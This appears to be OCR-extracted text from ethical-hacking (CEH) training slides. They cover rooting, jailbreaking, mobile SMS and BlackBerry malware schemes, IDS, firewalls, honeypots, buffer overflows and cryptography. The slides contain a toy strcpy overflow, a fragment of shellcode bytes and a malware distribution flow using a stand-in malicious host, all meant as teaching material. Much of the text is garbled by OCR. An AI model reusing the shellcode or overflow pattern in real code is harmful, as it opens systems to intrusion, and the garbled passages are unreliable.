Rooting allows Android users to attain privileged control (known as "root access") within Android’s subsystem

Rooting process involves exploiting security vulnerabilities in the device firmware, and copying the su binary to a
location in the current process's PATH (e.g. /system/xbin/su) and granting it executable permissions with the
chmod command

> O
. Rooting enables all the user-installed Rooting also comes with many “} ..

applications to run privileged security and other risks to your
commands such as: device including:

# Modifying or deleting system files, module, © Voids your phone's warranty

ROMs (stock firmware), and kernels

©® Poor performance
Removing carrier- or manufacturer-

installed applications (bloatware) ® Malware infection

Low-level access tothe hardware that are a
typically unavailable to the devices in their |
default configuration 0

® Bricking the device

Improved performance
Wi-Fi and Bluetooth tethering
Install applications on SD card

Better user interface and keyboard
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CEH

Cortitimd § Eibical o ban

Jailbreaking is defined as the process of installing a modified set of kernel patches
that allows users to run third-party applications not signed by the OS vendor

o Jailbreaking provides root access to the operating system and permits
downloading of third-party applications, themes, extensions on an iOS devices

o Jailbreaking removes sandbox restrictions, which enables malicious apps to access
restricted mobile resources and information

Jailbreaking, like rooting, also comes with many security
and other risks to your device including

Voids your phone's | “

y P ' a Malware infection )( ‘

warranty R ’ .
& - ) S

Poor performance “ Bricking the device

N =

4

v

e
-
S ——
L
e——

(
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Short Message Service (SIVIS) clE
Exploits s

Premium Rate Scam User downloads and

runs the malicious App
App sends premium rate

messages in the background

£ k = - 9
‘ = = ( vvvvvvvv dv-v-vlcuoluvi‘._, 5 vlcoluolvv-r-t---vtcl-9--" [y i

If App is not signed Allow Nﬂ,wmk
-9!‘l-.'..-‘.l-“.-l"..l} connedmn?

o o= B vioniansinanncannnyas 9 I
i 1 el..I.--..'..'.....'.-4.}r.
— User receives > ; User agrees - No
Premium Rate Service Provider huge bill User
Service
SMS Interc eption User quits the game, but App User download and run

runs silently in the background the malicious App

If App is not signed _ Allow Network
.g-enan----ooaaca-uuoun-u.“’ cunnedion?

User agrees - No

--------------------------------------------------

App sends a notification SMS
and forwards all incoming messages

Attacker

SMS Backdoor User download and run
the malicious App

Attacker opens TCP/IP connections If Apg is not signed Allow Network
l."-‘..'.....'-..."‘I.-.'.‘.."-'-B‘.l.'.ﬂ....-) % '. _. .e'--..'.-'....."'.--'..) connection?

Misnssssinaneninnanananisanniin S A 9 > o= .(........................9..
: : 4
App sends all incoming messages )@ User agrees ! No

and sensitive data User

A" i
A -
-

) 49
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Sends an
email to a

e BlackBerry user

i Hosts malicious .cod application file
= on a web server: http://www.
juggyboy.com/game.cod along with
: matching Jjad file:

+ http://www. juggyboy.com/
game.jad

From: <mary@company.com>
To: "Bob Brickhaws® <bb@company.come>
Subject: Cool Game

Hey, checkoutthiscool new garne'

-—

.cod file installs itself
as astart-up process
with no icon

|esssassnunesosannsnsnunaall

Prompts to
download and
install the .cad file

c

r;) .0

.cod file enumerates
the contact list, and
forwards the email to
everyane on the list

Users Contact List

———
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Evading IDS, Firewalls, and
Honeypots
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Intrusion Detection Systems (IDS)
and their Placement

Internet Router 1DS

T . — — .
Norw =
Y : |

d

User Intranet IDS

_J An intrusion detection system (IDS) gathers and analyzes information from within a computer or a network, to identify
the possible violations of security policy, including unauthorized access, as well as misuse

-J AnIDSis also referred to as a “packet-sniffer,” which intercepts packets traveling along various communication mediums
and protocols, usually TCP/IP

J The packets are analyzed after they are captured

C

The 1DS filters traffic for signatures that match intrusions, and signals an alarm when a match is found
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Types of Intrusion Detection

Systems

~ S mon e
- _ Intrusion Detection F intrusion Detection
© These mechanisms typically consist of a black ® These mechanisms usually include auditing for
box that is placed on the network in the events that occur on a specific host
promiscuous mode, listening for patterns € These are not as common, due to the overhead
indicative of an intrusion they incur by having to monitor each system

P event

Se A £

-

— Log Flle Monitoring ' Flle Integrity Checking
© These mechanisms are typically programs € These mechanisms check for Trojan horses,

for example, Tripwire

& _
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[ELITF I L

¢

Firewalls are hardware and/or software Firewalls examine all messages entering

designed to prevent unauthorized access to or ° or leaving the Intranet and blocks those
from a private network g that do not meet the specified security
criteria

They are placed at the junction or gateway

between the two networks, which is usually -y
a private network and a public network such —_
as the Internet

Firewalls may be concerned with the type
of traffic or with the source or destination
addresses and ports

Secure Private Local Area Network Public Network

IIIIIIIIII.I.I...I-I{ lnternet

¥’ = Specified traffic allowed

JK =Restricted unknown traffic
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DeMilitarized Zone (DM2Z)

It can be created using firewall with three or more network interfaces assigned with specific roles
such as Internal trusted network, DMZ network, and external un-trusted network (Internet)

DMZ is a network that serves as a buffer between the internal secure network and insecure
Internet

Corporate Network

)a, :

P —

LY ]
'nternet )l'.'lII'IIIIII.IIIIIIIIII-.I

P>

Firewall

raasses e

rl.l..lll..?..l..l I..I:

F AR LR LR L LA L RLJ SN OEOEEIFENENICE NN INEEEER S
AESEESS SORSSOS RSO RINE S INSNANNERPRENES

Intranet
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Honeypot

A honeypot is an information system resource that is expressly set up to attract and trap
people who attempt to penetrate an organization’s network

It has no authorized activity, does not have any production value, and any traffic to it is
likely a probe, attack, or compromise

A honeypot can log port access attempts, or monitor an attacker's keystrokes. These
could be early warnings of a more concerted attack

Honeypot

/7 Internal N v {

]u.. AEY .L-lcnqll!...ll*
_ Network ] | 2
R |

.“‘\.’6{_\_;&;]. sofes

Firewall | | Packet Filter

L
Internet Attacker

Web Server
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Firewall: ZoneAlarm PRO
Firewall

ZONEALARM

PRO Firewall ks

' YOUR COMPUIER IS SECURE '
— - - . n L

V] IDENTITY & DATA B

Samwewt 8 Ao

i canm - saw

Apglicntion Condrnl
Bo ks dangerout et vions and unathofied Intemet Tarsmmiire
e Bicchved MelBIOS brnacicast v

Blccked cutgoang NelBios nama mouests
Bioched packets for recent connections
Bccked ror-5YN TCP peckens

Bieched muled packety

Bechad laaphack packats

Blocked rar <P packets

Bioched fusgmeni od P packats

Crhaet biocked IP packas

Masi Suf'e vio st one

Lock volsicng

Bleckdd wphcEord
ATYTUR AL Sy WS SVerte

Ay TUL. At Sy w N BCENTINg Smon
Aarvrus/ vt agywans pretacten not found

PC Tume Lp
S oo ligt your o FRAF 0 I ved DeioTnaICe

i ] 1 rore

'f_; Check Point

1111111111111&#

A |[ Oead |
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Buffer Overflow
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Buffer Overflows CIEH

A generic buffer overflow occurs when a program tries to store more dataina
buffer than it was intended to hold

When the Buffer Overflow example code shown below is compiled and run, an
array “Buffer” of size 11 bytes is allocated to hold the “AAAAAAAAAA” string

stropy() will copy the string “DDDDDDDDDDDD” jnto the array “Buffer”, which
will exceed the buffer size of 11 bytes, resulting in buffer overflow

Buffer Overflow Exaomple Code

" 10 11 B

DD D! W String
{(’ 9 | 4 L * W
V A W

#includestdioh>

Intmain | intamgc, char**amy)

char Buffer] 11]=" AAAAAAAAAA
strepy| Butfer, "DODDODODOODDT);
printfl S \n" Buffer t
10 ecsenss sun

R
wi 0] DF Oveifiow

retumQ

1
k]
*
4
S:
6:
' H
8

This type of vulnerability is prevalent in UNIX- and NT-based systems
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Understanding Stacks

w Stack uses the Last-In-First-Out (LIFO)
mechanism to passarguments to
functions and refer the local variables

It acts like a buffer, holding all of the y ep
. 5 ; anywhere
information that the function needs ik

stack frame

w The stackis created at the beginning
of the execution of a function and
released at the end of it

SP points here

Buffer 2
(Local Variable 2)

Buffer 1
(Local Variable 1)

: ORIl
: direction

v

A

: Stack

i growth

: direction
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Shellcode

\\\\\\\\

Buffers are soft targets for
attackers as they overflow
easily due to poor coding

techniques

shellcode refersto code that
can be used as payloads in —
the exploitation of a : Buffer overflow shellcodes,

WELL 3Dty ' written in machine language,
exploit vulnerabilities in stack
and heap memory management

Shellcode

xample

8

"\xdc\x23\xbf\x£8\xc0\x23\xbf\xfc\xB2\x10\x20\x3b\xaa\x10\x3f\x££" “ ’r
*\x91\xd5\x60\x01\x90\x1b\xc0\x0£ \x82\x10\x20\x01\x91 \xd5\x60\x01" (s é‘

Victim

"\ x2d\x0b\xd8\x9%a\xac\x15\xal\xbe \x2 £\x0b\xdc\xda\x90\x0b\x80\ x0e"
"\2%92\x03\xa0\x08\x94\x1la\x80\x0a\x9c\x03\xa0\xl0\xec\x3b\xbf\x£0"
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C|EH

Cortifond § fthossd Macher

Buffer Overflow Steps

Find the presence and location of buffer
1 overflow vulnerability

z Write more datainto the buffer
than it can handle

Overwrite the return address of
a function

4 Change the execution flow to
the hacker code
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Types of Cryptography CEH

Cortnd | Ethuad Stes

Symmetric Encryption

; i Encryption Decryption
Symmetric encryption (secret-key, e cypri
Dear John, . Guuihifhafn Dear lohn,

shared-key, and private-key) uses the Thalimy  ceereenagdloide  kbififantk pathasids  Thiskmy
o 2 AJC number v Nkicimim v AJC number
same key for encryption as it does for Subsmen oar) [ i

decryption

Plain text Cipher text Plain text

Asymmetric Encryption

piaie il HECypioh Asymmetric encryption (public-key)
Dwar John, f Guulhifholn Dear Jolwn,

My  eessessndiiiucde  kbifkfnntk This s my uses different encryption keys for
AJC number 1 Nklcimim - AJC number = :
7974392830 a0 7974392830 encryption and decryption. These keys

are known as public and private keys

Plain text Cipher text Plain text /}

Copyright © by EG-Eeuncil. All Rights Reserved. Reproduction is Strictly PreHibited.




Message Digest (One-way Hash) c|E H
Functions b b i

b1 oo
LAY = \
o V4 w® 0&9:;
——— )

Hash functions calculate a
unique fixed-size bit string
representation called a message

A digest of any arbitrary block of

information

LY L ) al4092a£948b938569564a5b8dEd307a

Message Digest Function Hash Value

Note: Message digests are also called one-way bash functions because they cannot be reversed
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. Message Digest Function: MD5 = (

MDS algorithm takes

MDS Algorithm a message of arbitrary
length as input and

outputs a 128-bit

fingerprint or message

digest of the input

- 14470 105000M
| harge stiluies Flsd B974 Ay
harge_shihuesprg
shargm_ caie hitn
sharge_saie prg
] sl haum_rerly prg
Jonrseyl by

| st prg

| zonert_ e ong

_“. de_cxorngemat o hitvy

4
\
| ] = cnmmpamatin pigy

Checksum Verifier

fells = g LIN]

.
‘“.G...“.‘ tEEE . "0.“']?”- L e L L e R e e e S e L
L LT

MDS5 is not collision
resistant, use of latest

algorithms such as
SHA-2 and SHA-3 is

It is still deployed for
digital signature
applications, file integrity
checking and storing
passwords

Pl Mo
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MDS5 Hash Calculators: HashCalc, ClEH
MDS5 Calculator and HashMMyFiles s

M HashCalc L:,L.E.’.-. MDS5 Calculator

Data Foimat Data
|de_ _'.J |C \Program Fies (x86]\H ashCaic\HashCalc chm | &he M

Key Foimnal Key ] . T ASWEEDR Y LS80SR 00T I
[T HMAC I—‘i' ext sling = |

WDZ Digest Cempare To
| 45876440050 7cha Ineb 10988067 1c4

MD4 [ Upper zese

q

MD5 | 220586 485034805047 447128 cc5a2

SHA1 2T S TR TS SIS T4 IS S M k05 b

SHAZSS  |s00be7f604c8810068ecedla?43(d5ab747246daTi2e71c!
SHA3%4 |

-
[~
v
r
=

SHAS512 | http.//www.bulizip.com
RIPEMD 160 |cc36t3¢538c5306cdedacled56iSiddd 288aadb '

b3 PANAMA, | -J “lml'll!l M

[ lde €l View Oplusns Mol
TIGER 3 ] LY
| A @ (el 1) 52 a9
MD2 | 31343419157 3c907badiacbefelidbBd {'i &rarme T ~MDS a1 CRCI2  SHA-2% T GHA-512
= — il b Sdletfelcdlbcld 2. (Habb24W49I%.. 13¥e019 6167 Tl e 20341 . M}»Sbv’-.‘cll:i
ADLER32 im._.. ———r - w il
e

CRCTD T YE, Mroier (A5.wh. 1200600160237, DBESOTIOATEI22.. bIc6ais3  eMe23cH351ed9isSe. wommnlinef
et ' | s hwm . SIUTM 1 vamnd . dbH1aci 74068 bIIT6bO  SOTHOOCARAISGALAET ot Wil

S iweDumpere TBSDAAITd0ddide.  dSOBeMTI $AL.  JboSall  2523041dealbaiTi0 . drs’emlr'

ﬁﬁ:’*e‘r’f . — = - Olaac 10 e )t 1m ol of! 2eAHE et | ada, dbidclel beibiBTIAHGd 166 | 0851 0ehd
et

<

SlapaSoft ' s | 1

Hels] 1 Selecled Nirson treeware. BTIDe"wra

— - -

http.//www.slavasoft.com http.//www.nirsoft.net
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C\EH

[CUELTE IS

s Digital signature used asymmetric cryptography to simulate the security properties of a signature in digital,
rather than written form

= A digital signature may be further protected, by encrypting the signed email for confidentiality

Hanh value Sendur signi hash code
uning s PRIVATE hary

Decrypt message uning
ane-time symmatric kay

2 ’ T T >

Erirypl Musage wiing Encrypt the symimetric hey Reciplant dacrypt one-tima
ong-tima ppmimatike ey wrking recigient’ s PUBLIC key : symmatrkc kay using his PRIVATE kay

P Tt B L S8 B e L S RN R AR R R A R R B
.

DELIVER W VERIFY X
r - 47 Rehash the

" PO raseas o
: : —_— . -~ "~ compare it
@neerremrernerans LE e Tt

y value attached
Mad aloctronic enselopet Unlock the hash value using % with the mall
W 1he reciphont _sendar’s PUBLIC key




SSL (Secure Sockets Layer) C/EH

(wrid e [

@ SSLis an application layer protocol developed by Netscape for managing the security of a
message transmission on the Internet

® It uses RSA asymmetric (public key) encryption to encrypt data transferred over SSL connections

Client Hello message {includes SSL version, randomliy generated data, encryption algorithms, session
ID key exchange algorithms, compresgon algomhms and MAC algorithms)

preseassassesssesssnnnns T T b S e P S ssassussRsssesnsennIsnnny semey
E Determines the SSL version and encryption algorithms to be used for the communication; E
sends Server Hello message (Session ID) and Certificate message llocal cemﬂcate) E
: ------- EspEasEEBEDS (AL R F R R R R R R R R R AR R R R R N S R R R R TR R R N R R R R R R R R R R R R R R R R R R RN R RN NN (AR R R RT R Y] .E :
: ; :
R P .,
Sends a Server Hello Done message
T -
\ Verlfies the Digital certificate; generates a random premaster secret (Encrypted with
‘ T" o server's public key) and sends Client Key Exchange message with the premaster secret
“ l/ e lUll.ll.l'lll!ll'.Q.l".l....ll-l'D'..'.l‘.."!..l..'l‘.'l'.ll'....ll.I.'.-'l-'ll'.l‘ll.l..'-l.)
A &
> E e Sends a Change Cipher Spec message and also sends Finished message (hash of handshake message} E E
.
* Hash value Is calculated far the exchanged handshake messages and then compared to the hash value
E received from the client; If the two match, the key and cipher suite negotiation succeeds. Sends a Change e
. Cipher Spec message and also sends Finished message {hash of handshake message) E
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Disk encryption protects
confidentiality of the data stored
on disk by converting itinto an
unreadable code using disk
encryption software or hardware

Disk encryption works in a similar '
way as text message encryption
and protects data even when the
OS not active

Privacy Passphrase Hidden Volumes Volume Encryption
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protection
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With the use of an encryption
program for your disk, you can
safeguard any information to burn
onto the disk, and keep it from
falling into the wrong hands
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